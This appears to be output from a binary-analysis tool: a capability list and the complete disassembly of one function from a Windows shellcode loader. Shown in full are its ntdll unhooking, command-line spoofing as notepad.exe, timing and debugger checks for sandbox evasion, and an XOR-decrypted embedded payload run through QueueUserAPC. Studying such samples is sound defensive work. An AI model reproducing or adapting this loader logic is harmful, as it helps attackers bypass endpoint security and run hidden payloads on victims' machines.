Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x958
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8c0], xmm6
mov dword [rbp + 0x900], ecx
mov qword [rbp + 0x908], rdx
call fcn.140002a50
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x840], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x838], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x830], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8b8], rax
cmp qword [rbp + 0x8b8], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8b8], rax
cmp qword [rbp + 0x8b8], 0
je 0x1400017c2
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x660]
mov rax, qword [rbp + 0x830]
mov r10, qword [rbp + 0x8b8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x660]
mov qword [rbp + 0x828], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x820], rax
mov rax, qword [rbp + 0x820]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x818], rax
mov rax, qword [rbp + 0x818]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x810], rax
mov rax, qword [rbp + 0x828]
mov qword [rbp + 0x808], rax
mov rax, qword [rbp + 0x808]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x828]
add rax, rdx
mov qword [rbp + 0x800], rax
mov word [rbp + 0x8b6], 0
jmp 0x1400017aa
mov rax, qword [rbp + 0x800]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x800]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x8b6]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x7f8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001799
mov dword [rbp + 0x628], 0
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x828]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x628]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x810]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x828]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x628]
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x828]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x628]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x8b6]
add eax, 1
mov word [rbp + 0x8b6], ax
mov rax, qword [rbp + 0x800]
movzx eax, word [rax + 6]
cmp word [rbp + 0x8b6], ax
jb 0x14000166e
mov dword [rbp + 0x8b0], 0
mov dword [rbp + 0x8ac], 1
mov dword [rbp + 0x8a8], 0
mov dword [rbp + 0x7f4], 0x2c8
jmp 0x14000181f
mov edx, dword [rbp + 0x8b0]
mov eax, dword [rbp + 0x8ac]
add eax, edx
mov dword [rbp + 0x67c], eax
add dword [rbp + 0x8a8], 1
mov eax, dword [rbp + 0x8ac]
mov dword [rbp + 0x8b0], eax
mov eax, dword [rbp + 0x67c]
mov dword [rbp + 0x8ac], eax
mov eax, dword [rbp + 0x8a8]
cmp eax, dword [rbp + 0x7f4]
jl 0x1400017ec
mov dword [rbp + 0x62c], 0
mov rax, qword [rbp + 0x840]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
lea rax, [rbp + 0x62c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7e8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x638]
add rax, 0x3c
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x7e0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x7dc], 0x351
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
call rax
mov dword [rbp + 0x7c4], eax
mov eax, dword [rbp + 0x7dc]
mov r8, qword [rbp + 0x7d0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x7c8]
call rax
mov dword [rbp + 0x7c0], eax
mov eax, dword [rbp + 0x7c0]
sub eax, dword [rbp + 0x7c4]
cmp eax, 0x31f
jbe 0x14000297e
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x7b8], rax
cmp qword [rbp + 0x7b8], 0
jne 0x14000297e
mov dword [rbp + 0x624], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x624]
mov r8, qword [rbp + 0x7b0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x624]
cmp eax, 1
je 0x14000297e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x7a8], rax
cmp qword [rbp + 0x7a8], 0
je 0x140001a6a
mov rax, qword [rbp + 0x7a8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
mov ecx, 0
call rax
mov dword [rbp + 0x8a4], eax
cmp dword [rbp + 0x8a4], 0xffffffff
je 0x14000297e
mov qword [rbp + 0x798], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2c84680
mov ecx, 0
call rax
mov qword [rbp + 0x798], rax
cmp qword [rbp + 0x798], 0
je 0x14000297e
mov rax, qword [rbp + 0x798]
mov edx, 0x2c84680
mov rcx, rax
call fcn.1400049b0
mov rax, qword [rbp + 0x798]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x788], rax
cmp qword [rbp + 0x788], 0
je 0x140001b71
mov rax, qword [rbp + 0x788]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov ecx, 0
call rax
mov dword [rbp + 0x8a0], eax
cmp dword [rbp + 0x8a0], 0xffffffff
je 0x14000297e
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
jne 0x14000297e
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x770], rax
cmp qword [rbp + 0x770], 0
je 0x14000297e
mov rax, qword [rbp + 0x770]
mov edx, 0x4e3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x76c], eax
mov dword [rbp + 0x768], 0x27f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x754], eax
mov eax, dword [rbp + 0x768]
mov r8, qword [rbp + 0x760]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x750], eax
mov eax, dword [rbp + 0x750]
sub eax, dword [rbp + 0x754]
cmp eax, 0x24d
jbe 0x14000297e
mov dword [rbp + 0x74c], 0x3bc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x734], eax
mov eax, dword [rbp + 0x74c]
mov r8, qword [rbp + 0x740]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x730], eax
mov eax, dword [rbp + 0x730]
sub eax, dword [rbp + 0x734]
cmp eax, 0x38a
jbe 0x14000297e
lea rax, [rbp + 0x120]
lea rdx, [0x140006130]
mov ecx, 0x9f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x838]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x838]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x728]
mov r8d, 0
mov edx, 0x4fc
mov ecx, 0x40000
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov r9, qword [rbp + 0x720]
mov r8d, 0x4fc
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x840]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x710]
mov r9, qword [rbp + 0x708]
mov r8d, 0x4fc
mov rcx, rax
call r9
mov dword [rbp + 0x89c], 0
mov dword [rbp + 0x898], 0
mov dword [rbp + 0x894], 0
movabs rax, 0x2e773dddbaf1f79
movabs rdx, 0x76ecc648f549ead7
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xf817a8a19e546706
movabs rdx, 0xa70a03d74ed8f9bc
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x5e6229ffded74e56
movabs rdx, 0xb04e06f086df4f3d
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x3cc077b09a29edc9
movabs rdx, 0x2ef4fb22ded6e87c
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x8b3b4ece7af2f0c2
movabs rdx, 0xa0c3a2163d4092ce
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0xe3ffaef4f2fd1808
movabs rdx, 0xcb36fbae8fa4209b
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x65a33926fe746ff2
movabs rdx, 0xcf42c991873a5f36
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
mov byte [rbp + 0x110], 0
mov ecx, 0x640
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x700], rax
mov dword [rbp + 0x890], 0
jmp 0x140001fd5
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x890]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x700]
add rax, rdx
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0xc7
jle 0x140001f97
mov dword [rbp + 0x890], 0
jmp 0x14000203f
mov eax, dword [rbp + 0x890]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x700]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x890]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x700]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0xc7
jle 0x140001fed
movabs rax, 0x304876351e01c09f
movabs rdx, 0x697a55abaedf47bc
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x47c55a424d690c1b
movabs rdx, 0xa4e4bdad2a65187a
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xc12cc523f52c924a
movabs rdx, 0xb68faff8e92f3005
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xf0615d36a16cb1a0
movabs rdx, 0x8986824f26173926
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xdf81101ac21c4bca
movabs rdx, 0x5bcdf25ef9ff906d
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xc88c9b601f60d1d7
movabs rdx, 0x934522a827605d75
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xba51b86b934522
mov qword [rbp + 0x8d], rax
mov dword [rbp + 0x88c], 0x262
jmp 0x14000211d
sub dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x34
jg 0x140002116
jmp 0x140002231
mov dword [rbp + 0x888], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x880], xmm0
add dword [rbp + 0x888], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x888]
movsd xmm0, qword [0x140006638]
addsd xmm0, xmm1
mov rax, qword [0x140006640]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003cf0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x888]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006638]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x880]
addsd xmm0, xmm1
movsd qword [rbp + 0x880], xmm0
cmp dword [rbp + 0x888], 0xe2
jle 0x140002141
movsd xmm1, qword [rbp + 0x880]
movsd xmm0, qword [0x140006648]
mulsd xmm0, xmm1
movsd qword [rbp + 0x880], xmm0
mov eax, dword [rbp + 0x89c]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x898]
cdqe
movzx eax, byte [rbp + rax + 0xa0]
xor edx, eax
mov eax, dword [rbp + 0x89c]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x898], 0x6f
jne 0x140002223
mov dword [rbp + 0x898], 0
jmp 0x14000222a
add dword [rbp + 0x898], 1
add dword [rbp + 0x89c], 1
mov eax, dword [rbp + 0x89c]
cmp eax, 0x63
jbe 0x14000212b
mov dword [rbp + 0x87c], 0
jmp 0x14000228d
call sub.msvcrt.dll_rand
imul eax, eax, 0x1af
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003b20
movq rax, xmm0
mov qword [rbp + 0x680], rax
add dword [rbp + 0x87c], 1
cmp dword [rbp + 0x87c], 0x177
jle 0x14000224c
mov dword [rbp + 0x89c], 0
jmp 0x14000241a
mov dword [rbp + 0x878], 0xffffffff
mov ecx, 0x1a48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov ecx, 0x1a48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
add dword [rbp + 0x878], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x878]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x690]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x878]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x878]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x688]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003a40
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x878], 0x347
jle 0x1400022d4
mov eax, dword [rbp + 0x89c]
movsxd rdx, eax
mov rax, qword [rbp + 0x710]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x894]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x89c]
movsxd rdx, eax
mov rax, qword [rbp + 0x710]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x894], 0x63
jne 0x14000240c
mov dword [rbp + 0x894], 0
jmp 0x140002413
add dword [rbp + 0x894], 1
add dword [rbp + 0x89c], 1
cmp dword [rbp + 0x89c], 0x4fb
jle 0x1400022a8
mov ecx, 0xa4c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f8], rax
mov ecx, 0xa4c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f0], rax
mov ecx, 0xa4c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e8], rax
mov ecx, 0xa4c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov dword [rbp + 0x870], 0x292
mov dword [rbp + 0x874], 0
jmp 0x14000251a
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6f8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x292
jle 0x140002487
mov dword [rbp + 0x874], 0
jmp 0x1400025b9
mov eax, dword [rbp + 0x870]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6f8]
add rax, rdx
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x870]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x870], 1
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x292
jle 0x140002539
mov rax, qword [rbp + 0x6f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x6dc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov ecx, 0x6dc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov ecx, 0x6dc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov ecx, 0x6dc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x868], 0x1b6
mov dword [rbp + 0x86c], 0
jmp 0x14000276e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x86c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x86c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov edx, dword [rbp + 0x86c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, dword [rbp + 0x86c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x868], 1
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x1b6
jle 0x140002662
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x710]
mov qword [rbp + 0x6b8], rax
mov qword [rbp + 0x858], 0
mov dword [rbp + 0x6b4], 0x319
mov dword [rbp + 0x864], 1
jmp 0x1400027ff
mov eax, dword [rbp + 0x864]
cdqe
add qword [rbp + 0x858], rax
add dword [rbp + 0x864], 1
mov eax, dword [rbp + 0x864]
cmp eax, dword [rbp + 0x6b4]
jle 0x1400027e9
mov rax, qword [rbp + 0x838]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x838]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6b8]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0
mov rcx, rax
call r9
mov ecx, 0xb84
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x850], 0
mov dword [rbp + 0x84c], 0
mov dword [rbp + 0x854], 0
jmp 0x14000294c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x854]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000291b
add dword [rbp + 0x850], 1
jmp 0x140002945
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002945
add dword [rbp + 0x84c], 1
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x2e0
jle 0x1400028a9
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
